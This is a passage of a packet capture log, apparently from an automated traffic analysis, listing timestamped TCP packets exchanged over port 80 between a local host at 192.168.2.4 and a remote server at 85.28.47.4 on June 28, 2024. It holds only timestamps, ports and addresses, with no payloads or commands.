Jun 28, 2024 22:32:03.939790010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939800024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939810038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939820051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939830065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939831972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939838886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939848900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939858913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939867973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939870119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939897060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939922094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946079016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946154118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946163893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946173906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946229935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946254969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946352959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946362972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946372032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946382046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946405888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946429014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946647882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946659088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946669102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946697950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946713924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946892977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946902990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946942091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.946975946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946986914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.946995974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947006941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947017908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947022915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947030067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947041988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947053909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947082043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947700024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947710991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947721958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947734118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947746038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947746992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947757006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947770119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947770119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947781086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.947796106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.947823048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.958961964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017420053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017430067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017441034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017494917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017515898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017574072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017584085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017595053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017615080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017651081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017728090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017771959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.017826080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017836094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.017875910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.018011093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018021107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018033981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018043995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018052101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.018086910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.018271923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018316031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.018348932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.018390894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028007030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028053045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028134108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028153896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028181076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028198957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028229952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028242111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028250933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028278112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028294086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028501987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028511047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028520107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028532028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028547049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028570890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028862953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028872967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028882027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028892040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028903008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028908014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028913975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028923035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.028938055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.028963089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029326916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029336929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029367924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029382944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029520988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029531002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029541016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029551029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029561043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029567957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029577971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029587984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.029594898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029618025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.029633999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030075073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030086994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030097008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030106068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030113935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030116081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030128002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030138016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030138969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030147076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030158043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030162096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030169010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030198097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030219078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030778885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030790091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030802965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030822992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030848980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030863047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030874014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030881882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030893087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030903101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030905962 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030914068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030922890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030929089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.030935049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030942917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.030953884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.031157017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.156903982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.177381992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.593743086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.598587036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.773977995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.773998976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774012089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774022102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774034023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774055004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774084091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774128914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774137974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774178982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774187088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774209023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774229050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774276018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774286985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774323940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774398088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774441957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774523020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774532080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774540901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774569035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774601936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774732113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774743080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774780035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.774827957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774838924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.774874926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775038958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775048018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775057077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775065899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775074959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775079012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775122881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775376081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775387049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775424004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775604963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775614977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775624037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775634050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775644064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775650024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775654078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775665045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.775692940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.775728941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776170969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776181936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776190996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776200056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776211023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776217937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776220083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776231050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776240110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776252985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776254892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776281118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776304007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776870966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776880980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776890039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776899099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776907921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776912928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776918888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.776937008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.776973009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.777314901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777324915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777340889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777359009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.777384043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.777437925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777447939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777457952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777467966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777477980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777478933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.777487993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777497053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777507067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777515888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.777518988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.777554989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.778429985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778440952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778450012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778459072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778469086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778477907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.778479099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778489113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778498888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778506041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.778507948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778517962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778527975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778537035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.778537035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.778559923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.778585911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.779278040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.779289961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.779299021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.779309034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.779354095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.856359959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856434107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.856436014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856446981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856475115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.856512070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.856648922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856659889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856669903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856679916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856688976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.856733084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.856997013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857007980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857048035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857139111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857150078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857161045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857168913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857170105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857184887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857214928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857485056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857532978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857547045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857568026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857652903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857665062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857695103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857709885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857767105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857777119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857811928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857901096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857947111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.857984066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.857995033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858004093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858014107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858023882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858031034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858074903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858376980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858386993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858417034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858450890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858592033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858602047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858613014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858623028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858632088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858639002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858640909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858653069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858655930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858664036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858675003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.858697891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.858722925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.859236956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.859246969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.859256983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.859266996 CEST	80	49731	85.28.47.4	192.168.2.4
